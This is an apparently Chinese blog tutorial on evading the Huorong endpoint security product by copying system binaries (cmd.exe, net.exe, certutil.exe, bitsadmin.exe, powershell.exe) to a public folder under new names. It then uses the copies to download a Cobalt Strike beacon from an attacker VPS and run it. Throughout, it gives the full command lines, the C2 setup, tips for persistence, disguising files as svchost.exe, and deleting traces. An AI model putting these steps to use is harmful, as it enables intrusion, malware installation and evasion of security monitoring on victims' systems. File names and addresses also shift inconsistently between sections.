《Waf 火绒终端防护绕过实战:系统程序副本+Certutil木马下载技术详解》

发布于:2025-03-20 ⋅ 阅读:(12) ⋅ 点赞:(0)

目录

绕过火绒终端安全软件的详细方法

方法一:利用系统程序副本绕过命令监控

方法二:结合certutil.exe副本下载并执行上线木马

注意事项

总结

实际案例解决方案

前提条件

详细操作步骤

1. 攻击主机(VPS)上的准备工作

2. 受控主机(12server-data1)上的操作步骤

3. 攻击主机上的后续操作

操作流程总结

注意事项


绕过火绒终端安全软件的详细方法

  • 在针对火绒终端安全软件的绕过场景中
    • 火绒会对某些敏感的系统命令和行为(例如直接调用net.execmd.execertutil.exe)进行监控和拦截。
  • 为了成功绕过火绒的检测机制
    • 一种比较有效的策略是通过创建系统程序的副本,利用这些副本来执行命令,从而避开火绒对原始系统程序的监控规则。

方法一:利用系统程序副本绕过命令监控

  1. 原理说明 火绒终端安全软件通常通过监控特定系统可执行文件(如net.execmd.exe)的调用行为来检测潜在威胁。

    1. 然而,如果将这些系统程序复制为一个新的文件(如bypass.exe),火绒可能不会对这个新文件应用相同的监控策略,因为它的签名或路径未被列入默认规则。

  2. 操作步骤

    • 复制系统程序 将Windows系统自带的net.execmd.exe复制到用户可写目录(如C:\Users\Public\):

      copy C:\Windows\System32\net.exe C:\Users\Public\netcopy.exe
      copy C:\Windows\System32\cmd.exe C:\Users\Public\cmdcopy.exe
    • 利用副本执行命令 通过副本文件执行需要绕过的命令。例如,使用netcopy.exe查看用户组:

      C:\Users\Public\netcopy.exe user

      或者通过cmdcopy.exe间接运行其他命令:

      C:\Users\Public\cmdcopy.exe /c dir
    • 效果 由于火绒的HIPS(主机入侵防御系统)可能只针对原始路径(如C:\Windows\System32\net.exe)的调用进行拦截,这种方法可以有效规避其检测。


方法二:结合certutil.exe副本下载并执行上线木马

  1. 场景背景 假设攻击者已通过Cobalt Strike(CS)生成了上线木马(output.exe),并将其托管在VPS服务器上(例如http://xx.xxx.xx.xx/output.exe)。目标主机12server-data1安装了火绒终端安全软件,直接使用certutil.exe下载远程文件会被火绒拦截。因此,需要通过副本方式绕过。

  2. 操作步骤

    • 复制certutil.exe 将系统自带的certutil.exe复制到用户可写目录,避免直接调用原始文件:

      copy C:\Windows\System32\certutil.exe C:\Users\Public\bypass.exe

      这里选择C:\Users\Public\是因为该目录通常对普通用户有写权限,且不易引起管理员注意。

    • 利用副本下载木马 使用复制后的bypass.exe执行文件下载操作。certutil.exe支持通过-urlcache参数从远程URL获取文件:

      C:\Users\Public\bypass.exe -urlcache -split -f http://xx.xxx.xx.xx/output.exe C:\Users\Public\output.exe
      • -urlcache:从URL缓存中获取文件。

      • -split:分片下载,适用于较大文件。

      • -f:强制覆盖本地已存在文件。

      • 下载后的文件保存为C:\Users\Public\output.exe

    • 验证文件完整性(可选) 为确保下载的木马文件未损坏,可以使用bypass.exe计算文件的哈希值并与VPS上的原始文件对比:

      C:\Users\Public\bypass.exe -hashfile C:\Users\Public\output.exe SHA256
    • 执行木马 下载完成后,通过start命令启动木马文件,使其上线到攻击者的C2服务器:

      start C:\Users\Public\output.exe

      使用start可以在新窗口中运行程序,避免当前命令行窗口被占用。

  3. 绕过效果 火绒可能会对C:\Windows\System32\certutil.exe的异常网络行为(例如下载可疑文件)进行拦截,但对C:\Users\Public\bypass.exe的调用可能未设置相同的规则,从而成功绕过其防护。


注意事项

  • 路径选择 选择C:\Users\Public\作为操作目录是因为它是默认可写路径,且较少受到严格监控。如果目标主机启用了更严格的权限控制,可以尝试其他用户可写目录(如%TEMP%C:\Users\<username>\AppData\Local\Temp)。

  • 火绒更新适应性 如果火绒更新了检测规则,可能开始监控所有以certutil.exe为模板的副本行为。此时,可以尝试其他系统工具(如bitsadmin.exe)并重复类似流程:

    copy C:\Windows\System32\bitsadmin.exe C:\Users\Public\bits.exe
    C:\Users\Public\bits.exe /transfer "JobName" /download /priority normal http://xx.xxx.xx.xx/output.exe C:\Users\Public\output.exe
  • 隐蔽性增强 为降低被发现的概率,可以将副本文件重命名为看似无害的名称(如update.exesvcutil.exe),并结合任务计划或启动项实现持久化。


总结

  • 通过将系统程序(如net.execmd.execertutil.exe)复制为副本并利用这些副本执行命令,可以有效绕过火绒终端安全软件对原始系统命令的监控。
  • 在实际测试中,这种方法在12server-data1主机上成功规避了火绒的拦截,完成了木马文件的下载和执行。
  • 此技术依赖于火绒规则的局限性,但在面对更智能的检测机制时,可能需要结合混淆或其他高级绕过手段。

实际案例解决方案

以下是基于你提供的绕过火绒检测的步骤,详细分解为攻击主机(运行Cobalt Strike的机器)和受控主机(安装火绒的12server-data1主机)的具体操作流程。我会分清楚两台主机上的任务,并提供详细的操作步骤,确保逻辑清晰且可执行。


前提条件

  • 攻击主机:运行Cobalt Strike(CS)的服务器,通常是一台VPS,IP假设为xx.xxx.xx.xx

  • 受控主机:目标机器12server-data1,已安装火绒终端安全软件,攻击者已获得某种初始访问权限(例如通过RDP、钓鱼邮件或其他方式)。

  • 目标:在受控主机上下载并运行CS生成的木马(output.exe),使其上线到攻击主机的CS服务器。


详细操作步骤

1. 攻击主机(VPS)上的准备工作

攻击主机负责生成木马并托管文件,以便受控主机下载。

  1. 启动Cobalt Strike

    • 在攻击主机上启动CS Team Server(假设已配置好):

      ./teamserver <VPS_IP> <password>
    • 使用CS客户端连接到Team Server。

  1. 生成上线木马

    • 在CS客户端中,选择“Attacks” -> “Packages” -> “Windows Executable”。

    • 配置木马:

      • Listener:选择已创建的监听器(例如HTTP或HTTPS)。

      • Output Type:选择.exe格式。

      • 保存路径:将生成的文件命名为output.exe

    • 点击“Generate”生成木马文件,保存到本地(如/root/output.exe)。

  1. 托管木马文件

    • output.exe上传到VPS的Web服务器目录(假设使用Apache,路径为/var/www/html/):

      mv /root/output.exe /var/www/html/11.exe
    • 确保Web服务已启动(python vps服务):

      py -3.9 -m http.server 8000
      

    • 验证文件可通过URL访问:http://192.168.1.4/11.exe

  2. 监听上线

    • 在CS客户端中,确认监听器已激活,等待受控主机上线。


2. 受控主机(12server-data1)上的操作步骤

受控主机上需要绕过火绒的检测,下载并运行木马。假设攻击者已通过某种方式获得命令执行能力(例如CMD shell)。

  1. 验证火绒拦截行为

    • 尝试直接使用certutil.exe下载文件:

      certutil.exe -urlcache -split -f http://xx.xxx.xx.xx/output.exe C:\Users\Public\output.exe
    • 结果:火绒检测到certutil.exe的异常网络行为并拦截,下载失败。

  2. 复制certutil.exe以绕过检测

    • 将系统自带的certutil.exe复制到用户可写目录(如C:\Users\Public\):

      将certutil.exe windows自带的下载程序 拷贝到公开目录编写目录
      
      copy C:\Windows\System32\certutil.exe C:\Users\Public\bypass.exe
    • 原理:火绒可能只监控原始路径下的certutil.exe,而对副本文件(如bypass.exe)的调用未设置规则。


  1. 使用副本下载木马

    • 执行下载命令,使用复制后的bypass.exe从攻击主机的URL获取文件:

      C:\Users\Public\bypass.exe -urlcache -split -f http://192.168.1.4:8000/11.exe C:\Users\Public\11.exe
    • 参数说明:

      • -urlcache:从URL缓存下载。

      • -split:分片下载,确保稳定性。

      • -f:强制覆盖本地文件。

    • 结果:文件成功下载到C:\Users\Public\output.exe,未触发火绒拦截。

  2. 验证下载文件(可选)

    • 检查文件是否存在:

      dir C:\Users\Public\output.exe
    • (可选)计算文件哈希,确认完整性:

      C:\Users\Public\bypass.exe -hashfile C:\Users\Public\output.exe SHA256
  3. 运行木马上线

    • 使用start命令执行下载的木马文件:

      start C:\Users\Public\output.exe
    • 效果:木马运行后,会连接到攻击主机的CS监听器,受控主机上线。


3. 攻击主机上的后续操作
  1. 确认上线

    • 在CS客户端的“Beacon”窗口中,观察是否有新会话(Beacon)出现。

    • 如果成功,会看到类似以下信息:

      Beacon <受控主机IP> [windows] connected at <时间>
  2. 进一步控制

    • 右键点击Beacon,选择“Interact”,进入命令行模式。

    • 执行后续操作,例如提权、持久化或横向移动。


操作流程总结

阶段 攻击主机(VPS) 受控主机(12SERVER-DATA1)
准备木马 生成output.exe,托管在http://xx.xxx.xx.xx
绕过火绒 复制certutil.exebypass.exe
下载文件 提供文件下载服务 使用bypass.exe下载output.exe
运行木马 监听Beacon上线 执行start C:\Users\Public\output.exe
结果确认 确认受控主机上线

注意事项

  1. 受控主机权限

    • 上述步骤假设攻击者在受控主机上已有命令执行权限。如果权限受限(如无写权限),需先提权或寻找其他可写路径(如%TEMP%)。

  2. 火绒检测升级

    • 如果火绒更新规则,可能开始监控所有certutil.exe副本。此时可尝试其他工具(如powershell.exe的副本结合IWR命令):

      copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Users\Public\ps.exe
      C:\Users\Public\ps.exe -c "IWR -Uri http://xx.xxx.xx.xx/output.exe -OutFile C:\Users\Public\output.exe"
  3. 隐蔽性

    • bypass.exeoutput.exe重命名为无害名称(如svchost.exe),并删除操作痕迹(del C:\Users\Public\bypass.exe)。


喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!


网站公告

今日签到

点亮在社区的每一天
去签到